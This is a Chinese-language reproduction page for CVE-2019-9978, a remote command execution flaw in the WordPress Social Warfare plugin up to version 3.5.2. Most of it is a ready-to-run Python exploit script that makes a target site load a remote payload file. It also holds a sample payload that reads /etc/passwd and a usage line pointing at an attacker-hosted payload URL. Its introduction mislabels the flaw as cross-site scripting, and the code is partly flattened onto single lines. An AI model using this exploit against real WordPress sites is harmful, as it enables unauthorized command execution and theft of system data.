（CVE-2019-9978）WordPress_Plugin_-_social_warfare_远程命令执行漏洞

# （CVE-2019-9978）WordPress Plugin – social warfare 远程命令执行漏洞

===========================

一、漏洞简介
————

WordPress
social-warfare插件3.5.3之前版本中存在跨站脚本漏洞。远程攻击者可借助’swp\_url’参数利用该漏洞注入恶意的JavaScript脚本。

二、漏洞影响
————

Social WarFare Plugin (\<=3.5.2) 三、复现过程 ------------ ### poc > 首先在自己的服务器上传http(s)://www.0-sec.org/payload.txt

system('cat /etc/passwd')

> useage

python cve-2019-9978.py –target http://vulntarget.com –payload-uri http://yourpayloadsite.com/payload.txt
# Title: RCE in Social Warfare Plugin ( <=3.5.2 ) # Date: March, 2019 # Researcher: Luka Sikic # Exploit Author: hash3liZer # Download Link: https://wordpress.org/plugins/social-warfare/ # Version: <= 3.5.2 # CVE: CVE-2019-9978 import sys import requests import re import urlparse import optparse class EXPLOIT: VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s" def __init__(self, _t, _p): self.target = _t self.payload = _p def engage(self): uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload ) r = requests.get( uri ) if r.status_code == 500: print "[*] Received Response From Server!" rr = r.text obj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" )) if obj: resp = obj.groups()[0] if resp: print "[<] Received: " print resp.replace( "lnbreak", "\n" ) else: sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!") else: sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!") else: sys.exit( "[~] Unexpected Status Received!" ) def main(): parser = optparse.OptionParser( ) parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" ) parser.add_option( '' , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." ) (options, args) = parser.parse_args() print "[>] Sending Payload to System!”
exploit = EXPLOIT( options.target, options.payload )
exploit.engage()

if __name__ == “__main__”:
main()